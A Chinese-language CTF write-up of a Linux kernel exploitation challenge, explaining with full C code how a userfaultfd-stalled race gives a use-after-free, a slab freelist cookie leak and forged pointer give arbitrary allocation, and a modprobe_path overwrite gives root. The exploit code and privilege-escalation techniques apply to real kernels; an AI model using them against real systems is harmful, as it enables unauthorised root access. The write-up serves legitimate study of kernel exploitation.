忙活三个多小时才将漏洞利用的附件上传到服务器上的靶机中
题目分析
Qemu启动脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
|
qemu-system-x86_64 \
-m 64M \
-kernel bzImage \
-initrd rootfs.cpio \
-append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" \
-nographic \
-net user \
-net nic \
-device e1000 \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap \
-monitor /dev/null 2>/dev/null \
-s
|
开启以下保护
SMEP: 管理模式执行保护,保护内核是其不允许执行用户空间代码
SMAP: 管理模式访问保护,禁止内核访问用户空间的数据
KASLR: 内核地址随机化
同时,镜像以多线程形式启动
文件系统初始化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
mount -t proc proc /proc
mount -t sysfs sysfs /sys
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifup eth0 > /dev/null 2>/dev/null
insmod notebook.ko
cat /proc/modules | grep notebook > /tmp/moduleaddr
chmod 777 /tmp/moduleaddr
chmod 777 /dev/notebook
poweroff -d 300 -f &
echo "Welcome to QWB!"
#sh
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 1 -n -f
|
脚本中禁止ptmx和tty的访问,但是按照Kirin师傅所述,可以通过UAF来劫持tty_struct进行利用,有空去问下Kirin师傅
同时程序将模块的加载地址获取后放置在/tmp/moduleaddr文件中
交互函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
struct args {
size_t index;
size_t size;
char *buf;
};
void note_add(size_t index,size_t size,char *p)
{
struct args ar;
ar.index = index;
ar.size = size;
ar.buf = p;
ioctl(fd,0x100,&ar);
}
void note_del(size_t index)
{
struct args ar;
ar.index = index;
ioctl(fd,0x200,&ar);
}
void note_edit(size_t index,size_t size,char *p)
{
struct args ar;
ar.index = index;
ar.size = size;
ar.buf = p;
ioctl(fd,0x300,&ar);
}
void gift(char *p)
{
struct args ar;
ar.buf = p;
ioctl(fd,100,&ar);
}
void write_to_kernel (size_t index, char *user_ptr)
{
write(fd,user_ptr,index);
}
void read_from_kernel (size_t index, char *user_ptr)
{
read(fd,user_ptr,index);
}
|
驱动实现了几个简单的功能,gift函数可以拿到note_add中申请的所有堆块地址
获取驱动地址从 /tmp/moduleaddr
1
2
3
4
|
FILE *stream =popen("cat /tmp/moduleaddr | awk '{print $6}'","r");
fread(mem,0x12,1,stream);
mod_address = strtoul(mem,NULL,16);
printf("Mod_BASE:\t %lX\n",mod_address);
|
获取cookie值
在最新更新的内核中,slab会存在一个异或的机制,即当前的相同大小的slab块释放后,在fd位置存放的数据是 this_chunk_address ^ next_chunk_address ^ cookie
即存放的数据是当前堆块的地址异或前一个堆块的地址,再异或一个cookie,不同大小的slab所使用的cookie值是不同的
所以此处我们需要泄漏一下cookie,首先则是通过note_gift获取两个堆块地址,然后再释放两个相同大小的slab内存块,并申请回来,通过简单的计算即可拿到cookie值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
note_add(0,0x60,data);
note_add(1,0x60,data);
gift(mem);
heap[0] = *(size_t*)mem;
heap[1] = *(size_t*)(mem + 0x10);
printf("HEAP - 0:\t %lX\n",heap[0]);
printf("HEAP - 1:\t %lX\n",heap[1]);
note_del(1);
note_del(0);
note_add(0,0x60,data);
note_add(1,0x60,data);
read_from_kernel(0,mem);
cookie = (*(size_t*)mem) ^ heap[0] ^ heap[1];
|
漏洞利用方法
Userfaultfd是Linux-Kernel中的一种能够让用户态来处理pagefault的机制
由于在触发pagefault能够将控制流导回用户态,可以非常有效地控制内核线程的执行顺序,从而将竞态条件类的漏洞利用转化为确定性的漏洞利用.
同时,配合内核中某些任意大小分配的函数,也可以完成UAF对象的劫持操作,提高UAF漏洞的可利用性.
1
2
3
4
|
fault_page = (size_t)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
fault_page_len = 0x1000;
register_userfault(); // 注册监视缺页内存
write_to_kernel(0,(char*)fault_page); // 触发缺页并挂起进程
|
首先mmap分配一个内存页作为,但是不去对其地址处赋值读写操作,若将此地址传入内核中,在内核中对其进行访问,则会触发pagefault,所以需要通过userfaultfd的方法来处理pagefault
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
void* UAF_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] Handler Created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1) // Wainting copy_from_user/copy_to_user访问FAULT_PAGE
errExit("[-] Wrong pool return value");
puts("[+] Trigger! I'm going to hang");
note_del(0);
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
errExit("[-] Error in reading uffd_msg");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
struct uffdio_copy uc;
size_t target = cookie ^ (mod_address + 0x2500 - 0x10) ^ heap[0];
uint64_t DATA[2] = {target,0};
uc.src = (unsigned long)DATA;
uc.dst = (unsigned long)fault_page;
uc.len = fault_page_len;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc); // 恢复copy_from_user
puts("[+] Done");
return NULL;
}
void register_userfault()
{
struct uffdio_api ua;
struct uffdio_register ur;
pthread_t thr;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("[-] ioctl-UFFDIO_REGISTER"); //注册页地址与错误处理FD,若访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
if ( pthread_create(&thr, NULL, UAF_handler, (void*)uffd) ) // handler函数进行访存错误处理
errExit("[-] pthread_create");
return;
}
|
首先注册一个userfaultfd,再另外起一个线程进行处理,在UAF_handler中,此时内核会在对上述脚本中 mmap 分配的内存地址进行访问的时候挂起
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
note_del(0);
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
errExit("[-] Error in reading uffd_msg");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
struct uffdio_copy uc;
size_t target = cookie ^ (mod_address + 0x2500 - 0x10) ^ heap[0];
uint64_t DATA[2] = {target,0};
uc.src = (unsigned long)DATA;
uc.dst = (unsigned long)fault_page;
uc.len = fault_page_len;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc); // 恢复copy_from_user
|
因为上面我们是想要通过write_to_kernel函数往第一个slab 内存块中写入数据,但是在准备写入的时候,主线程在copy_from_user时挂起,同时我们又起了一个新的线程UAF_handler,在这个新线程里面,因为我们想要通过UAF利用,所以将第一个 slab 内存块释放,然后通过userfaultfd恢复数据写入(即恢复copy_from_user)
因为堆块已经释放,所以写入也是往一个free chunk中写入数据,再按照slab的异或保护机制,构造一个合法的fd,这里选择申请的目标地址是"在mod中保存堆块地址 - 0x10“的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
*(size_t*)(data + 0xF0) = cookie ^ (mod_address + 0x2500 - 0x10);
size_t tmp_chunk;
for(i = 0; i < 0x10; i++)
{
note_add(i,0x60,data);
gift(mem);
tmp_chunk = *(size_t*)(mem + i*0x10);
if(tmp_chunk == heap[0]) {
printf("Next is Target, Has Found, Index: %d\n",i);
break;
}
if(i == 0xF)
{
puts("Can not Found the Target");
_exit(-1);
}
}
|
如果想要任意申请堆块到一个地址处,那么对应的地址处应该存放一个”合法地址 ^ chunk ^ cookie",而如果对应 *chunk = chunk ^ cookie,那么将不再继续分配(尾节点),所以此处设置 *(mod_address + 0x2500 - 0x10) = cookie ^ (mod_address + 0x2500 - 0x10),即可让slab在分配完目标地址后终止分配
之所以需要在目标地址处控制数据,是因为在申请目标地址的最后,会对其fd保存的数据进行下述处理,如果为0 或者 为一个堆块地址,再异或cookie后会成为一个非法地址访问导致内核崩溃
1
2
3
|
xor rbx, [rbx]
xor rbx, [r9+140h]
prefetcht0 byte ptr [rbx]
|
上述部分,则会通过不断的申请,将我们之前修改过的 free chunk 给申请出来,那么它下一个申请,很大概率则是我们的目标地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
note_add(i + 1,0x60,data);
size_t BUF[0x10] = {0};
BUF[2] = mod_address + 0x168;
BUF[3] = 0x4;
BUF[4] = mod_address + 0x2500;
BUF[5] = 0x100;
write_to_kernel(i + 1,BUF);
read_from_kernel(0,mem);
kernel_base = ((*(uint32_t*)mem + mod_address + 0x16C) | 0xFFFFFFFF00000000) - 0x476C30;
printf("Kernel_BASE:\t%lX\n",kernel_base);
size_t modprobe_path = kernel_base + 0x125D2E0;
BUF[0] = modprobe_path;
BUF[1] = 0x10;
write_to_kernel(1,BUF);
strcpy(data,"/tmp/copy.sh");
write_to_kernel(0,data);
system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/copy.sh");
system("chmod +x /tmp/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
|
后续则是控制对应的存放堆块地址的结构体数组,泄漏内核基址,最后通过修改 modprobepath 进行利用
当然暴力搜索内存中的cred结构体,也是可以进行提权的
后记
去年强网杯当时只会做常规Pwn题,今年终于能做出一个简单的内核Pwn,已然成为一名摸鱼CTF选手了
“Reference”
[附件]